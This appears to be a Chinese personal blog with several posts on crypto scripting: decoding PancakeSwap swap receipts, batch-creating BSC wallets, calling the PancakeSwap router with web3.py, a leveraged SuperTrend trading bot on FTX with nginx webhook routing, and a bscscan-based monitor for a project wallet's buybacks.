Black House


  • 首页

  • 标签

  • 分类

  • 归档

Crypto-pancakeswap_receipt细节

发表于 2021-10-18 | 分类于 Crypto

swap token:

测试用BNB去购买VRT

代码步骤:

执行一段完整的交易,代码需要进行几个步骤:

  1. swapExactETHForTokens 传参,构造好函数
1
func = router_contract.functions.swapExactETHForTokens(min_output_tokens, [self.addr.wbnb, token_address], self.wallet, self.deadline(60))
  1. buildTransaction 构造好交易
1
transaction = func.buildTransaction(tx_params)
  1. sign_transaction 私钥进行签名
1
signed_tx = self.w3.eth.account.sign_transaction(transaction, private_key=self.secret_key)
  1. send_raw_transaction 广播交易
1
self.w3.eth.send_raw_transaction(signed_tx.rawTransaction)
  1. wait_for_transaction_receipt 等待交易完成,获取收据
1
self.w3.eth.wait_for_transaction_receipt(tx, timeout=60)
  1. processReceipt 可以解析获取Transfer事件的内容
1
logs = self.get_token_contract(token_address=token_address).events.Transfer().processReceipt(receipt)

receipt log 交易收据log:

2B776BF8-05AF-41A0-ADE5-402D51A5771E

tx记录

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
{
'blockHash': HexBytes('0x9ba33f85ec6edccfee637ae9a3eb8303df74aeb81cbc106676c1af44f7291cb3'),
'blockNumber': 11864838,
'contractAddress': None,
'cumulativeGasUsed': 34932511,
'from': '0x302c98e6d6A65Bf15255b81972f9EaA1F45438C8',
'gasUsed': 130517,
'logs': [AttributeDict({
'address': '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c',
'topics': [HexBytes('0xe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c'), HexBytes('0x00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e')],
'data': '0x00000000000000000000000000000000000000000000000000038d7ea4c68000',
'blockNumber': 11864838,
'transactionHash': HexBytes('0xa1215da3b2f9fba0dc4ce90318fd42e947d596e91c6582d8b450612f6a472abf'),
'transactionIndex': 215,
'blockHash': HexBytes('0x9ba33f85ec6edccfee637ae9a3eb8303df74aeb81cbc106676c1af44f7291cb3'),
'logIndex': 752,
'removed': False
}), AttributeDict({
'address': '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c',
'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e'), HexBytes('0x000000000000000000000000ef5212ada83ec2cc105c409df10b8806d20e3b35')],
'data': '0x00000000000000000000000000000000000000000000000000038d7ea4c68000',
'blockNumber': 11864838,
'transactionHash': HexBytes('0xa1215da3b2f9fba0dc4ce90318fd42e947d596e91c6582d8b450612f6a472abf'),
'transactionIndex': 215,
'blockHash': HexBytes('0x9ba33f85ec6edccfee637ae9a3eb8303df74aeb81cbc106676c1af44f7291cb3'),
'logIndex': 753,
'removed': False
}), AttributeDict({
'address': '0x5F84ce30DC3cF7909101C69086c50De191895883',
'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000ef5212ada83ec2cc105c409df10b8806d20e3b35'), HexBytes('0x000000000000000000000000302c98e6d6a65bf15255b81972f9eaa1f45438c8')],
'data': '0x000000000000000000000000000000000000000000000015e7daca2ce9a452a0',
'blockNumber': 11864838,
'transactionHash': HexBytes('0xa1215da3b2f9fba0dc4ce90318fd42e947d596e91c6582d8b450612f6a472abf'),
'transactionIndex': 215,
'blockHash': HexBytes('0x9ba33f85ec6edccfee637ae9a3eb8303df74aeb81cbc106676c1af44f7291cb3'),
'logIndex': 754,
'removed': False
}), AttributeDict({
'address': '0xEf5212aDa83EC2cc105C409DF10b8806D20E3b35',
'topics': [HexBytes('0x1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1')],
'data': '0x0000000000000000000000000000000000000000007f1919c0dd1f6e07bbbe220000000000000000000000000000000000000000000000148fc351f07c27c38d',
'blockNumber': 11864838,
'transactionHash': HexBytes('0xa1215da3b2f9fba0dc4ce90318fd42e947d596e91c6582d8b450612f6a472abf'),
'transactionIndex': 215,
'blockHash': HexBytes('0x9ba33f85ec6edccfee637ae9a3eb8303df74aeb81cbc106676c1af44f7291cb3'),
'logIndex': 755,
'removed': False
}), AttributeDict({
'address': '0xEf5212aDa83EC2cc105C409DF10b8806D20E3b35',
'topics': [HexBytes('0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822'), HexBytes('0x00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e'), HexBytes('0x000000000000000000000000302c98e6d6a65bf15255b81972f9eaa1f45438c8')],
'data': '0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000038d7ea4c68000000000000000000000000000000000000000000000000015e7daca2ce9a452a00000000000000000000000000000000000000000000000000000000000000000',
'blockNumber': 11864838,
'transactionHash': HexBytes('0xa1215da3b2f9fba0dc4ce90318fd42e947d596e91c6582d8b450612f6a472abf'),
'transactionIndex': 215,
'blockHash': HexBytes('0x9ba33f85ec6edccfee637ae9a3eb8303df74aeb81cbc106676c1af44f7291cb3'),
'logIndex': 756,
'removed': False
})],
'logsBloom': HexBytes('0x00200200000000000000000080000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000008000000200200000000000000000400008080000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000240001000400080000004000000000000000000000000000000400020000400000000000000000000000000000000200000002000004080000000000000000000000000000001800000000000080000000000000000000000000800000000000000000000000400000000000000000'),
'status': 1,
'to': '0x10ED43C718714eb63d5aA57B78B54704E256024E',
'transactionHash': HexBytes('0xa1215da3b2f9fba0dc4ce90318fd42e947d596e91c6582d8b450612f6a472abf'),
'transactionIndex': 215,
'type': '0x0'
}

Event:

  1. Wbnb Deposit()
  2. Wbnb Transfer()
  3. VRT Transfer()
  4. PancakeSwap V2: VRT 5 Sync()
  5. PancakeSwap V2: VRT 5 Swap()

Events:

交易后可以获取到收据对象,收据对象里有log,记录了每个调用函数的 入参

  1. Wbnb——Deposit()
1
2
3
4
5
6
7
8
9
10
11
12
13
AttributeDict({
'args': AttributeDict({
'dst': '0x10ED43C718714eb63d5aA57B78B54704E256024E', # router_v2
'wad': 1000000000000000 # 买入时 输入0.001BNB
}),
'event': 'Deposit',
'logIndex': 752,
'transactionIndex': 215,
'transactionHash': HexBytes('0xa1215da3b2f9fba0dc4ce90318fd42e947d596e91c6582d8b450612f6a472abf'),
'address': '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c',
'blockHash': HexBytes('0x9ba33f85ec6edccfee637ae9a3eb8303df74aeb81cbc106676c1af44f7291cb3'),
'blockNumber': 11864838
})

往router_v2质押了0.001 BNB

  1. Wbnb——Transfer()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
AttributeDict({
'args': AttributeDict({
'from': '0x10ED43C718714eb63d5aA57B78B54704E256024E', # router_v2
'to': '0xEf5212aDa83EC2cc105C409DF10b8806D20E3b35', # PancakeSwap V2: VRT 5
'value': 1000000000000000 # 买入时 输入0.001BNB
}),
'event': 'Transfer',
'logIndex': 753,
'transactionIndex': 215,
'transactionHash': HexBytes('0xa1215da3b2f9fba0dc4ce90318fd42e947d596e91c6582d8b450612f6a472abf'),
'address': '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c',
'blockHash': HexBytes('0x9ba33f85ec6edccfee637ae9a3eb8303df74aeb81cbc106676c1af44f7291cb3'),
'blockNumber': 11864838
})

router_v2给PancakeSwap V2: VRT 5转了0.001BNB

  1. VRT——Transfer()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
AttributeDict({
'args': AttributeDict({
'from': '0xEf5212aDa83EC2cc105C409DF10b8806D20E3b35', # PancakeSwap V2: VRT 5
'to': '0x302c98e6d6A65Bf15255b81972f9EaA1F45438C8', # My Address
'value': 404088513609832092320 # 得到404.08851360983209232 vrt
}),
'event': 'Transfer',
'logIndex': 754,
'transactionIndex': 215,
'transactionHash': HexBytes('0xa1215da3b2f9fba0dc4ce90318fd42e947d596e91c6582d8b450612f6a472abf'),
'address': '0x5F84ce30DC3cF7909101C69086c50De191895883',
'blockHash': HexBytes('0x9ba33f85ec6edccfee637ae9a3eb8303df74aeb81cbc106676c1af44f7291cb3'),
'blockNumber': 11864838
})

PancakeSwap V2: VRT 5给My Address转了404.08851360983209232 vrt

  1. PancakeSwap V2: VRT 5——Sync()
1
2
3
4
5
6
7
8
9
10
11
12
13
AttributeDict({
'args': AttributeDict({
'reserve0': 153652113319030071628643874,
'reserve1': 379294095135390286733
}),
'event': 'Sync',
'logIndex': 755,
'transactionIndex': 215,
'transactionHash': HexBytes('0xa1215da3b2f9fba0dc4ce90318fd42e947d596e91c6582d8b450612f6a472abf'),
'address': '0xEf5212aDa83EC2cc105C409DF10b8806D20E3b35',
'blockHash': HexBytes('0x9ba33f85ec6edccfee637ae9a3eb8303df74aeb81cbc106676c1af44f7291cb3'),
'blockNumber': 11864838
})
1
2
3
4
5
6
7
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// 返回用于交易定价和分配流动性的token0和token1储备

// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}

看了下solidity源码,这步应该是用于同步 交易定价和分配流动性的token0和token1储备

  1. PancakeSwap V2: VRT 5——Swap()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
AttributeDict({
'args': AttributeDict({
'sender': '0x10ED43C718714eb63d5aA57B78B54704E256024E', # router_v2
'to': '0x302c98e6d6A65Bf15255b81972f9EaA1F45438C8', # My Address
'amount0In': 0,
'amount1In': 1000000000000000, # 0.001BNB
'amount0Out': 404088513609832092320, # 404.08851360983209232 vrt
'amount1Out': 0
}),
'event': 'Swap',
'logIndex': 756,
'transactionIndex': 215,
'transactionHash': HexBytes('0xa1215da3b2f9fba0dc4ce90318fd42e947d596e91c6582d8b450612f6a472abf'),
'address': '0xEf5212aDa83EC2cc105C409DF10b8806D20E3b35',
'blockHash': HexBytes('0x9ba33f85ec6edccfee637ae9a3eb8303df74aeb81cbc106676c1af44f7291cb3'),
'blockNumber': 11864838
})

这步和第3步有什么区别?


Question:

swap比转账要消耗更多的gas?

我觉得是,测试过程中,swap的话消耗 0.000652585 BNB,转账的话消耗 0.0001071 BNB

20211018163457

swap要比转账需要更多的执行步骤, 所以需要消耗更多的gas


Summary:

交易收据里log列表里有事件event
event里的内容,用对应合约去解析一下,就可以看到记录里调用哪个合约的哪个函数以及哪些入参

感觉可以写个简单页面玩玩,类似debank里的交易历史
1A6352FF-E581-4644-88F2-A7994A20AD46

后面还要看看预言机的相关内容

refs:

  • uniswap pair doc

Crypto-批量创建钱包和转账

发表于 2021-10-16 | 分类于 Crypto

Pre:

需求:

  1. 创建40个bsc新钱包
  2. 由1个主钱包把某代币平均分发到40个新钱包中去

脚本:

创建钱包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from web3 import Web3, HTTPProvider
from web3.middleware import geth_poa_middleware


def create_wallet():
bscUrl = ""
web3 = Web3(HTTPProvider(bscUrl))
web3.middleware_stack.inject(geth_poa_middleware, layer=0)

password = ""
bscAccount = web3.eth.account.create(password)

bscAddress = bscAccount.address
privateKey = bscAccount.privateKey.hex()

这一步遇到的问题主要是,web3js的文档和web3py的有些差异,使用上需要注意。

转账代币:

这一步也很简单,调用代币合约里的transfer函数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract_address = ''  # 代币地址
contract = web3.eth.contract(address=contract_address, abi=abi)

# 转账数量
amount_ether = web3.toWei(amount, 'ether')
logger.debug("[*] send amount: {}".format(amount))

nonce = web3.eth.getTransactionCount(main_address)

# 构建交易对象
token_tx = contract.functions.transfer(to_addr, amount_ether).buildTransaction({
'chainId': 56, 'gas': 200000, 'gasPrice': web3.toWei("5", 'gwei'), 'nonce': nonce
})
# 私钥签名,然后发送交易

代币合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);

function balanceOf(address who) external view returns (uint256);

function allowance(address owner, address spender)
external view returns (uint256);

function transfer(address to, uint256 value) external returns (bool);

function approve(address spender, uint256 value)
external returns (bool);

function transferFrom(address from, address to, uint256 value)
external returns (bool);

event Transfer(
address indexed from,
address indexed to,
uint256 value
);

event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
1
2
contract ERC20 is IERC20 { ...
}

看一下代币合约的solidity代码,可知大部分代币都是符合erc20标准的,都有几个基础函数.

  • totalSupply():总供应量
  • balanceOf():余额
  • allowance():授权的代币数量
  • transfer():转账
  • approve():批准花费代币
  • transferFrom():转账

ERC20:

什么是Token(代币)?

在Ethereum中,代币几乎可以代表任何东西,从在线平台的信誉点、游戏中角色的技能、彩票到金融资产债券,再到真正的商品,如公司的股份、货币、金盎司等!
如此强大的功能,值得也必须处理好。
如此强大的功能,理应也必须由一个强大的标准来处理,对吗?
这正是ERC-20的作用所在,ERC-20就是针对这些发布的Token(代币)制定的一个固定的基础的标准原则。


什么是 ERC20:

ERC-20引入了可替代Token的标准。
换句话说,它们具有使每个Token与另一个Token完全相同(在类型和价值上)的属性。
例如,ERC-20,Token的行为与ETH相同,这意味着任意1个遵循ERC-20规则的Token与所有其他所有Token是平等和相同的。

简单地说,任何ERC-20代币都能立即兼容以太坊钱包(几乎所有支持以太币的钱包,包括Jaxx、MEW、imToken等,也支持 erc-20的代币)

由于交易所已经知道这些代币是如何操作的,它们可以很容易地整合这些代币。这就意味着,在很多情况下,这些代币都是可以立即进行交易的。

标准化非常有利,也就意味着这些资产可以用于不同的平台和项目,否则只能用在特定的场合。

代币(Token)是区块链中定义价值的方式,用于标定金融或数字资产。

在以太坊上,代币使用相同的标准,这样代币之间的兑换和DAPP支持就会变得容易。


标准规定了哪些内容:

ERC20 是各个代币的标准接口。

ERC20 代币仅仅是以太坊代币的子集。
为了充分兼容 ERC20,开发者需要将一组特定的函数(接口)集成到他们的智能合约中,以便在高层面能够执行以下操作:

  • 获得代币总供应量
  • 获得账户余额
  • 转让代币
  • 批准花费代币

ERC20 让以太坊区块链上的其他智能合约和去中心化应用之间无缝交互。


ERC20 标准:

ERC20 标准定义了一个兼容协议, 需要实现的函数. 具体如下.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

同时规定了三个必须定义的变量,分别是

  • 合约名称
  • 合约代号
  • 合约进制
1
2
3
string public constant name = "Token Name";
string public constant symbol = "SYM";
uint8 public constant decimals = 18; // 18 is the most common number of decimal places

Summary:

cool,脚本是挺简单的,顺便了解了一下erc20的代币标准


refs:

  • create wallet web3py
  • ERC20代币那么火爆, 那么ERC20到底是什么?
  • ERC-20是什么?

Crypto-SuperTrend指标_合约交易脚本

发表于 2021-10-14 | 分类于 Crypto

Pre:

上一篇是去购买现货,回测几次后,发现效果还不错,由于定量设置了止盈率,挂好了limit sell order后,在短期拉盘的时候,能卖得出去。

想起之前看的The Best Crypto Trading Bots On the Market | TokenTax

crypto trading bots enable trading based on data and trends—not on emotional impulse

Ultimately, this usually grows their profits, minimizes their risks, and limits their losses across exchanges.

Furthermore, bots can produce passive income 24 hours a day. Whether you’re sleeping, biking, giving a presentation, whatever: you could also be earning from automated trades.

通过策略写机器人来做交易,算是有严格的纪律性了,由数据驱动,不受情绪的影响。
另外一个好处就是,不用去盯盘。

这次拿来做合约交易


策略:

  • 选择一个我认为比较好的投资标的(币):BNB
  • 选择一个交易周期:45mins
  • Buy信号发出,很可能处于上涨行情,执行市价买入,5倍杠杠
  • 设置收益率5%,执行限价卖出
  • 以上每一步都设置tg提醒,入库记录
  • 暂不设置止损,5倍杠杠,币种暴跌20%可能会爆仓

效果:

C83CAF70-1EA0-4882-AF5E-2697664AB1B7


遇到的问题:

创建订单:

之前用的交易所是binance,这次用的是ftx
通过ccxt在创建ftx limit sell order的时候花费比较多时间,参考Unable To create Limit orders on FTX,才知道需要哪些参数.

1
cex_api.create_future_order(token_pair='CAKE-PERP', type="takeProfit", side="sell", amount=1, price=20.32, params={'triggerPrice': 20.32,'reduceOnly': True})

返回的订单内容:

同样是执行market buy order,binance和ftx返回的内容不一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# binance
order = {
'info': {
'symbol': 'CAKEUSDT',
'orderId': '253501445',
'orderListId': '-1',
'clientOrderId': 'x-R4BD3S8213738c964e85cb662119c9',
'transactTime': '1630229168854',
'price': '0.00000000',
'origQty': '0.50000000',
'executedQty': '0.50000000',
'cummulativeQuoteQty': '12.77000000',
'status': 'FILLED',
'timeInForce': 'GTC',
'type': 'MARKET',
'side': 'BUY',
'fills': [{
'price': '25.54000000',
'qty': '0.50000000',
'commission': '0.00050000',
'commissionAsset': 'CAKE',
'tradeId': '37608361'
}]
},
'id': '253501445',
'clientOrderId': 'x-R4BD3S8213738c964e85cb662119c9',
'timestamp': 1630229168854,
'datetime': '2021-08-29T09:26:08.854Z',
'lastTradeTimestamp': None,
'symbol': 'CAKE/USDT',
'type': 'market',
'timeInForce': 'GTC',
'postOnly': False,
'side': 'buy',
'price': 25.54,
'stopPrice': None,
'amount': 0.5,
'cost': 12.77,
'average': 25.54,
'filled': 0.5,
'remaining': 0.0,
'status': 'closed',
'fee': {
'cost': 0.0005,
'currency': 'CAKE'
},
'trades': [{
'info': {
'price': '25.54000000',
'qty': '0.50000000',
'commission': '0.00050000',
'commissionAsset': 'CAKE',
'tradeId': '37608361'
},
'timestamp': None,
'datetime': None,
'symbol': 'CAKE/USDT',
'id': None,
'order': None,
'type': None,
'side': None,
'takerOrMaker': None,
'price': 25.54,
'amount': 0.5,
'cost': 12.77,
'fee': {
'cost': 0.0005,
'currency': 'CAKE'
}
}],
'fees': [{
'cost': 0.0005,
'currency': 'CAKE'
}]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# ftx
{
'info': {
'id': '87609981695',
'clientId': None,
'market': 'BNB-PERP',
'type': 'market',
'side': 'buy',
'price': None,
'size': '0.1',
'status': 'new',
'filledSize': '0.0',
'remainingSize': '0.1',
'reduceOnly': False,
'liquidation': None,
'avgFillPrice': None,
'postOnly': False,
'ioc': True,
'createdAt': '2021-10-14T04:03:51.958018+00:00',
'future': 'BNB-PERP'
},
'id': '87609981695',
'clientOrderId': None,
'timestamp': 1634184231958,
'datetime': '2021-10-14T04:03:51.958Z',
'lastTradeTimestamp': None,
'symbol': 'BNB-PERP',
'type': 'market',
'timeInForce': None,
'postOnly': False,
'side': 'buy',
'price': None,
'stopPrice': None,
'amount': 0.1,
'cost': None,
'average': None,
'filled': 0.0,
'remaining': 0.1,
'status': 'open',
'fee': None,
'trades': None
}

https://ccxt.readthedocs.io/en/latest/manual.html#orders

20211014134717

看文档可知,尽量不要用info key里面的内容,这里面是交易所返回的原始内容,ccxt会解析然后放在其他一级的key,会更具通用性.


Nginx配置:

查看配置文件路径:

使用nginx的-t参数进行配置检查,即可知道实际调用的配置文件路径及是否调用有效。

1
2
3
[root@foolisheddy ~]# nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

查看/etc/nginx/nginx.conf,可能包含了其他配置文件include /etc/nginx/conf.d/*.conf;

添加路由转发:

添加一段location,访问后转发到本地的flask api上。

1
2
3
4
5
6
location /tradingview/ {
proxy_pass http://127.0.0.1:10086/tradingview;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

nginx操作:

1
2
3
4
# 查看状态
systemctl status nginx
# 重启
systemctl restart nginx

Bug:

20211014135626

tradingview会在有bug信号的时候,多次触发我的api

可能的解决方案:

  • 修改tradingview对应策略
  • 发送信号设置
  • 我这边手动处理

暂时不处理,先记录一下


Summary:

做合约交易的话,我自己还不是很有经验,可能后面经验增加or回测多次后能再优化策略吧。
3倍5倍低倍杠杠我理解成 借钱抄底 哈哈

有一些点后期可能需要优化:

  • 保证金
  • 强平价
  • 如何止损
  • 仓位大小
  • 消息面

Refs:

  • The Best Crypto Trading Bots On the Market | TokenTax
  • Unable To create Limit orders on FTX
  • FTX 高级订单类型
  • ccxt#orders

Crypto-调用pancake合约进行交易

发表于 2021-10-14 | 分类于 Crypto

Pre:

最近在看pancakeBunny机枪池的源代码时,看到了他们有个zap功能

Zap 功能本质上允许用户直接从单一资产(BNB)切换到 LP 代币(BNB-CAKE LP),只需单击一个按钮,而无需进行煎饼交换和切换不同的资产

源码里是直接调用pancakeswap router合约,后面打算尝试写个类似的dex dapp玩一下。

现在先试一下如何调用pancakeswap router进行代币的交换。


pancakebunny zap 源码:

贴个函数,solidity的代码量感觉都比较少,多看看多实践应该不难掌握吧~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 将代币的一半换成另一种代币,然后提供流动性
function zapInToken(address _from, uint amount, address _to) external override {
IBEP20(_from).safeTransferFrom(msg.sender, address(this), amount);
_approveTokenIfNeeded(_from);

if (isFlip(_to)) {
IPancakePair pair = IPancakePair(_to);
address token0 = pair.token0();
address token1 = pair.token1();
if (_from == token0 || _from == token1) {
// swap half amount for other
address other = _from == token0 ? token1 : token0;
_approveTokenIfNeeded(other); // 授权
uint sellAmount = amount.div(2); // 一半的数量
uint otherAmount = _swap(_from, sellAmount, other, address(this)); // 兑换
pair.skim(address(this));
ROUTER.addLiquidity(_from, other, amount.sub(sellAmount), otherAmount, 0, 0, msg.sender, block.timestamp); // 添加流动性
} else {
uint bnbAmount = _from == WBNB ? _safeSwapToBNB(amount) : _swapTokenForBNB(_from, amount, address(this));
_swapBNBToFlip(_to, bnbAmount, msg.sender);
}
} else {
_swap(_from, amount, _to, msg.sender);
}
}

Pancakeswap Router交互

pancakeswap router contract里面共17个函数,如下

流动性相关:

  • addLiquidity
  • addLiquidityETH
  • removeLiquidity
  • removeLiquidityETH
  • removeLiquidityETHSupportingFeeOnTransferTokens
  • removeLiquidityETHWithPermit
  • removeLiquidityETHWithPermitSupportingFeeOnTransferTokens
  • removeLiquidityWithPermit

swap相关:

  • swapETHForExactTokens
  • swapExactETHForTokens
  • swapExactETHForTokensSupportingFeeOnTransferTokens
  • swapExactTokensForETH
  • swapExactTokensForETHSupportingFeeOnTransferTokens
  • swapExactTokensForTokens
  • swapExactTokensForTokensSupportingFeeOnTransferTokens
  • swapTokensForExactETH
  • swapTokensForExactTokens

Swap: BNB -> anyToken

swapExactETHForTokens:

2C5A9C3B-04CF-42FA-9542-72640DFFBC3E

swapExactETHForTokens():

  • amountOutMin:收到最小量
  • path:代币地址列表,eg:[BNB代币地址,anyToken代币地址]
  • to:收币地址
  • deadline:交易过期时间
1
2
3
4
5
6
7
8
9
10
11
12
13
pancakeswap2_txn = contract.functions.swapExactETHForTokens(
# 10000000000, # set to 0, or specify minimum amount of tokeny you want to receive - consider decimals!!!
0,
[spend, tokenToBuy],
sender_address,
(int(time.time()) + 10000)
).buildTransaction({
'from': sender_address,
'value': web3.toWei(0.0001, 'ether'), # This is the Token(BNB) amount you want to Swap from
'gas': 160000,
'gasPrice': web3.toWei('5', 'gwei'),
'nonce': nonce,
})

例子:记录tx

20211014204336


Swap: AToken -> BToken

approve授权:

先要将你的代币授权给pancakeswap router contract

A7140CDA-DE03-4BE6-86B4-1490396BE088

approve():

  • spender:给予授权的地址,这里是要授权给pancakeswap router contract
  • rawAmount:代币数量
1
2
3
4
5
6
7
8
9
10
aprove_txn = erc20_contract.functions.approve(
# 10000000000, # set to 0, or specify minimum amount of tokeny you want to receive - consider decimals!!!
panRouterContractAddress, max_approval_int
).buildTransaction({
'from': sender_address,
'value': 0, # This is the Token(BNB) amount you want to Swap from
'gas': 160000,
'gasPrice': web3.toWei('5', 'gwei'),
'nonce': nonce,
})

例子:记录tx
20211014202846

swapExactTokensForTokens:

C28E659E-C391-4DC5-9A22-C5E78E5C92E7

swapExactTokensForTokens():

  • amountIn:交换数量
  • amountOutMin:收到最小量,考虑滑点
  • path:代币地址列表,一般要有中间代币,eg:[AToken代币地址,中间代币地址,BToken代币地址]
  • to:收币地址
  • deadline:交易过期时间
1
2
3
4
5
6
7
8
9
10
pancakeswap2_txn = contract.functions.swapExactTokensForTokens(
# 10000000000, # set to 0, or specify minimum amount of tokeny you want to receive - consider decimals!!!
web3.toWei(50, 'ether'), web3.toWei(0.04, 'ether'), [tokenToBuy, cake_token, USDT_token], sender_address, (int(time.time()) + 10000)
).buildTransaction({
'from': sender_address,
'value': 0, # This is the Token(BNB) amount you want to Swap from
'gas': 220000,
'gasPrice': web3.toWei('5.1', 'gwei'),
'nonce': nonce,
})

例子:记录tx
20211014204147


Bug:

暂时只遇到以下报错:

TRANSFER_FAILED:

Fail with error 'Pancake: TRANSFER_FAILED':

  • 注意授权
  • 注意gas fee够不够

INSUFFICIENT_OUTPUT_AMOUNT or INSUFFICIENT_INPUT_AMOUNT

Fail with error 'PancakeRouter: INSUFFICIENT_OUTPUT_AMOUNT
Fail with error 'PancakeLibrary: INSUFFICIENT_INPUT_AMOUNT

注意数量单位是wei,可以用web3.toWei('5.1', 'gwei'),转换成gwei


Question:

还有几个问题还有些疑惑:

  1. 调用swapExactTokensForTokens,如何自动获取中间的转换代币?是用BNB还是CAKE?
  2. 通过滑点计算出amountOutMin
  3. gas fee要给多少?才不会过高过低?

Todo:

  1. 部署合约,做个和Zap类似的小dapp

  2. defi自动收菜

    • 定时收菜,每过一段时间(如每月15号),自动collect,然后卖出换U, 甚至进一步可以 将u质押到venus里
    • 冲新矿的二矿,有高apr,短时间挖提买,监控代币,如果代币价格接近成本价,则全部清仓

还是要多实践多do呀,maybe会有一些new idea~


Refs:

  • pancakeBunny源码
  • pancakeswap router contract
  • How to Fix “TRANSFER_FROM_FAILED” on PancakeSwap

Crypto-Bp宝石回购监控脚本

发表于 2021-10-08 | 分类于 Crypto

Pre:

来自朋友的需求,bp项目方某个钱包地址每隔一段时间就会回购宝石代币
要监控该钱包回购的动作


脚本:

思路:

20211008145806

一开始打算用爬虫,不过想起之前写rarity的升级脚本调用过ftmscan的api

所以看了一下bscscan的api文档,找到个方法能满足需求

Get a list of 'Normal' Transactions By Address获取地址的交易记录


解析input data:

https://api.bscscan.com/api?module=account&action=txlist&address=0xF426a8d0A94bf039A35CEE66dBf0227A7a12D11e&startblock=0&endblock=99999999&page=1&offset=10&sort=asc&apikey=YourApiKeyToken

20211008151300

api获取到json结果,本来想拿到它的hash再去进一步查询,但是看到input的数据,这里面其实也是包含了交易的内容,可以尝试去decode这些数据。

20211008153504

How to decode input data from a transaction?

搜索了一下,似乎是可以定义contract对象,调用函数直接decode

1
contract.decode_function_input(transaction.input)

每次回购动作,都是去跟合约交互
20211008151537

但是这个合约没有开源,没法拿到abi,没法获得contract对象,似乎就没法直接去decode。

7A702759-9A99-4885-8FE9-26DFBE6BC98F

再观察一下其中一个input数据:

0x5c11d79500000000000000000000000000000000000000000000065a4da25d3016c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000c6ce2918d13b7983fa6c305e726c3dc4c805b42100000000000000000000000000000000000000000000000000000000615fe5380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000acb8f52dc63bb752a51186d1c55868adbffee9c1000000000000000000000000197ea04912dc81fcd19992e6210168109aa9c3fe

最后一段数据是 回购宝石代币的代币地址

暂且判断最后一段数据,是哪个代币地址,则是回购了哪个代币


效果:

定时任务+tg提醒

03DD10DA-7E3B-46BD-9ECA-A0B600AA74AC


Bug:

刚开始跑的时候,发现有延迟

20211008153914

https://api.bscscan.com/api?module=account&action=txlist&address=0xF426a8d0A94bf039A35CEE66dBf0227A7a12D11e&startblock=0&endblock=99999999&page=1&offset=10&sort=asc&apikey=YourApiKeyToken

猜测是startblock参数造成的,不要从0区块开始查,后续每次跑的时候都更新一下这个参数即可。


decode input data试验:

1
2
3
4
5
6
7
8
9
10
11
# python
infuraurl = 'https://rpcapi.fantom.network'
web3_ins = Web3(Web3.HTTPProvider(infuraurl))
connection_status = (web3_ins.isConnected())
print("[*] fantom network connect status : {}".format(connection_status))
contract = web3_ins.eth.contract(address=Contract_Addr, abi=json.loads(Contract_Abi))

input_data= "0x9024944800000000000000000000000000000000000000000000000000000000001215e0"

result = contract.decode_function_input(input_data)
print(result)

